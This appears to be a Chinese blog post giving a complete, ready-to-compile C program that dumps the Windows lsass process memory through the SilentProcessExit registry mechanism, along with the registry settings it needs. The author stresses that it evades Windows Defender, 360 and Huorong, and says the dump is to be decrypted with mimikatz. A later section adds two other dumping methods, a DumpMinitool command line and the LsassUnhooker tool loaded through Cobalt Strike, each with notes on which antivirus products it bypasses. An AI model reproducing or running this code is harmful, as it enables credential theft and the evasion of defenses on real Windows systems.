静默退出转储lsass

前言

  目前能过WD,360,火绒。

静默退出

  在程序崩溃时或者系统崩溃时会产生崩溃后的文件,在win7之后,引入了一些进程退出的相关机制,即静默退出。这种调试技术,可以用来运行任意程序或者也可以用来转存任意进程的内存文件或弹出窗口。
  换句话说,也可以转储lsass进程。默认该功能是没开启的,所以要对注册表进行操作,来开启功能。这里我们先手动添加注册表信息。

添加此子键
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe
名称				 	类型 	   		  数据
DumpType		 	REG_DWORD 		0x2
LocalDumpFolder		REG_SZ			c:\temp
ReportingMode		REG_DWORD		0x2

添加此子键
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe
名称				类型			数据
GlobalFlag		REG_DWORD	  0x200

  添加完毕后,得到下图结果
  
  手动kill掉lsass进程
  
  提示错误
  
  此时生成C:\temp\lsass.exe-(PID-724)-2702125文件夹,生成dmp文件
  

代码实现

  首先 肯定是要修改注册表的,下面代码设置注册表

// 设置注册表
BOOL SetRegistry()
{
    HKEY hKey;
    // 打开注册表
    TCHAR subKey[] = TEXT("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion");
    long ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, subKey, 0, KEY_CREATE_SUB_KEY | KEY_WOW64_64KEY, &hKey);
    if (ret != ERROR_SUCCESS)
    {
        printf("[-] Can't Open Registry\n");
        return FALSE;
    }

    // 设置HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe
    HKEY hSubKey;
    // 创建SilentProcessExit\lsass.exe 子键
    ret = RegCreateKeyEx(hKey, L"SilentProcessExit\\lsass.exe", 0, NULL, 0, KEY_SET_VALUE, NULL, &hSubKey, NULL);
    if (ret != ERROR_SUCCESS)
        return FALSE;

    printf("[+] Create HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\lsass.exe\n");

    DWORD value = 0x2;
    // 添加键值 DumpType = 0x2
    ret = RegSetValueExA(hSubKey, "DumpType", 0, REG_DWORD, (BYTE*)&value, sizeof(value));
    if (ret != ERROR_SUCCESS)
        return FALSE;

    // 添加键值 ReportingMode = 0x2
    ret = RegSetValueExA(hSubKey, "ReportingMode", 0, REG_DWORD, (BYTE*)&value, sizeof(value));
    if (ret != ERROR_SUCCESS)
        return FALSE;

    // 添加键值 LocalDumpFolder = SaveDmpPath
    ret = RegSetValueExA(hSubKey, "LocalDumpFolder", 0, REG_SZ, (BYTE*)SaveDmpPath, sizeof(SaveDmpPath));
    if (ret != ERROR_SUCCESS)
        return FALSE;

    // 设置HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe
    // 创建Image File Execution Options\lsass.exe 子键
    ret = RegCreateKeyEx(hKey, L"Image File Execution Options\\lsass.exe", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hSubKey, NULL);
    if (ret != ERROR_SUCCESS)
        return FALSE;

    printf("[+] Create HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\lsass.exe\n");

    value = 0x200;
    // 添加键值 GlobalFlag = 0x200
    ret = RegSetValueExA(hSubKey, "GlobalFlag", 0, REG_DWORD, (BYTE*)&value, sizeof(value));
    if (ret != ERROR_SUCCESS)
        return FALSE;

    RegCloseKey(hKey);
    RegCloseKey(hSubKey);

    return TRUE;
}

  成功设置注册表后,我们不可能在目标机上kill掉lsass进程。好在有大佬分析出,当进程终止时,它将从ntdll.dll调用 RtlReportSilentProcessExit API,该API将与Windows错误报告服务(WerSvcGroup下的WerSvc )通信,以告知当前进程正在执行静默退出。然后,WER服务将启动WerFault.exe转储当前进程。值得注意的是,调用此API不会导致进程退出。这可以让我们在LSASS进程上执行DUMP动作而不导致LSASS的终止。

NTSTATUS (NTAPI * RtlReportSilentProcessExit) (
	HANDLE     ProcessHandle,	// 进程句柄
	NTSTATUS   ExitStatus		// 退出状态码
);

  接下来就简单了,流程如下
  1.设置注册表
  2.开启debug权限
  3.从ntdll.dll获取RtlReportSilentProcessExit函数地址
  4.使用OpenProcess 拿到lsass.exe句柄
  5.通过RtlReportSilentProcessExit让lsass进程执行静默退出

  完整代码

#include <Windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <tlhelp32.h>
#define SaveDmpPath "c:\\temp" // 存储dmp文件路径

typedef NTSTATUS(NTAPI* RtlReportSilentProcessExit)(
    HANDLE processHandle,
    NTSTATUS ExitStatus
    );

// 启用调试权限
BOOL EnableDebugAbility()
{
    // 令牌句柄
    HANDLE hProcessToken = NULL;
    // 1.打开进程访问令牌
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hProcessToken))
        return FALSE;

    // 2.取得SeDebugPrivilege特权的LUID值
    LUID luid;
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
        return FALSE;

    // 3.调整访问令牌特权
    TOKEN_PRIVILEGES token;
    token.PrivilegeCount = 1;
    token.Privileges[0].Luid = luid;
    // 使特权有效
    token.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    if (!AdjustTokenPrivileges(hProcessToken, FALSE, &token, 0, NULL, NULL))
        return FALSE;

    CloseHandle(hProcessToken);
    return TRUE;

}

// 设置注册表
BOOL SetRegistry()
{
    HKEY hKey;
    // 打开注册表
    TCHAR subKey[] = TEXT("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion");
    long ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, subKey, 0, KEY_CREATE_SUB_KEY | KEY_WOW64_64KEY, &hKey);
    if (ret != ERROR_SUCCESS)
    {
        printf("[-] Can't Open Registry\n");
        return FALSE;
    }

    // 设置HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe
    HKEY hSubKey;
    // 创建SilentProcessExit\lsass.exe 子键
    ret = RegCreateKeyEx(hKey, L"SilentProcessExit\\lsass.exe", 0, NULL, 0, KEY_SET_VALUE, NULL, &hSubKey, NULL);
    if (ret != ERROR_SUCCESS)
        return FALSE;

    printf("[+] Create HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\lsass.exe\n");

    DWORD value = 0x2;
    // 添加键值 DumpType = 0x2
    ret = RegSetValueExA(hSubKey, "DumpType", 0, REG_DWORD, (BYTE*)&value, sizeof(value));
    if (ret != ERROR_SUCCESS)
        return FALSE;

    // 添加键值 ReportingMode = 0x2
    ret = RegSetValueExA(hSubKey, "ReportingMode", 0, REG_DWORD, (BYTE*)&value, sizeof(value));
    if (ret != ERROR_SUCCESS)
        return FALSE;

    // 添加键值 LocalDumpFolder = SaveDmpPath
    ret = RegSetValueExA(hSubKey, "LocalDumpFolder", 0, REG_SZ, (BYTE*)SaveDmpPath, sizeof(SaveDmpPath));
    if (ret != ERROR_SUCCESS)
        return FALSE;

    // 设置HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe
    // 创建Image File Execution Options\lsass.exe 子键
    ret = RegCreateKeyEx(hKey, L"Image File Execution Options\\lsass.exe", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hSubKey, NULL);
    if (ret != ERROR_SUCCESS)
        return FALSE;

    printf("[+] Create HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\lsass.exe\n");

    value = 0x200;
    // 添加键值 GlobalFlag = 0x200
    ret = RegSetValueExA(hSubKey, "GlobalFlag", 0, REG_DWORD, (BYTE*)&value, sizeof(value));
    if (ret != ERROR_SUCCESS)
        return FALSE;

    RegCloseKey(hKey);
    RegCloseKey(hSubKey);

    return TRUE;
}

// 获取lsass.exe pid
DWORD GetLsassPid() {

    // 创建进程快照
    HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    // 快照信息结构体
    PROCESSENTRY32 pe;
    ZeroMemory(&pe, sizeof(pe));
    pe.dwSize = sizeof(pe);

    BOOL flag = Process32First(hProcess, &pe);
    while (flag)
    {
        if (lstrcmpi(pe.szExeFile, L"lsass.exe") == 0)
        {
            CloseHandle(hProcess);
            return pe.th32ProcessID;
        }
        flag = Process32Next(hProcess, &pe);
    }
    return -1;
}


int main()
{

    // 启用调试权限失败 || 设置注册表失败
    if (!EnableDebugAbility() || !SetRegistry())
    {
        printf("[-] Enable Debug Ability Fail\n");
        return 0;
    }

    HMODULE hModule = GetModuleHandle(L"ntdll.dll");
    if (!hModule)
    {
        printf("[-] Get ntdll.dll Fail\n");
        return 0;
    }

    // 获取RtlReportSilentProcessExit地址
    RtlReportSilentProcessExit fRtlReportSilentProcessExit = (RtlReportSilentProcessExit)GetProcAddress(hModule, "RtlReportSilentProcessExit");
    if (!fRtlReportSilentProcessExit)
    {
        printf("[-] Get API RtlReportSilentProcessExit Address Fail\n");
        return 0;
    }
    printf("[+] Load API RtlReportSilentProcessExit Address %p\n", fRtlReportSilentProcessExit);

    // lsass.exe pid
    DWORD pid = GetLsassPid();
    // 获取lsass.exe句柄
    HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, pid);
    if (!hProcess)
    {
        printf("[-] Open Process lsass.exe Fail\n");
        return 0;
    }

    printf("[+] Open Process lsass.exe\n");
    // 执行静默退出
    fRtlReportSilentProcessExit(hProcess, 0);
    printf("[+] Save lsass.dmp to %s", SaveDmpPath);

    CloseHandle(hProcess);
    CloseHandle(hModule);
    return 0;
}

注意事项

  编译的时候,最好选择Release编译,测试debug编译过不了杀软。
  只测试了win10 32位和64位,还有win7 64位,都可以正常使用。
  32位的dmp文件要用mimikatz x86版本解密
  甩给我同学真机360能绕过,附上过WD截图
  

其他方式

DumpMinitool

  消息来源于twitter博主mr.d0x,于4月6号找到了一种新的转储lsass的方式。
  利用Visual Studio 2022自带的工具,工具路径为

Microsoft Visual Studio\2022\Community\Common7\IDE\Extensions\TestPlatform\Extensions\DumpMinitool.exe

  可以自行安装VS2022,或者百度网盘,提取码tfz4

  使用命令

DumpMinitool.exe --file lsass.dump --processId xxx --dumpType Full
--file 输出的路径
--processId lsass.exe进程的ID
--dumpType 方式

  wd、火绒不拦截,360执行会拦截
  

LsassUnhooker

  用C#编写的小程序可以绕过EDR钩子并转储lsass进程的内容,框架:.NET Framework 4,可以用CobaltStrike execute-assembly加载内存执行,集成至CS插件。
  LsassUnhooker项目地址
  使用方法,以管理员方式,直接运行即可。wd要杀生成的lsass.dmp。360、火绒都可绕过

参考文章

利用SilentProcessExit机制dump内存
Lsass Memory Dumps are Stealthier than Ever Before - Part 2
Dump Lsass内存转储新旧方法
静默退出 DUMP LSASS.EXE
Monitoring Silent Process Exit
LsassUnhooker - 一款可用于绕过EDR挂钩转储lsass进程的工具

查看评论 -
评论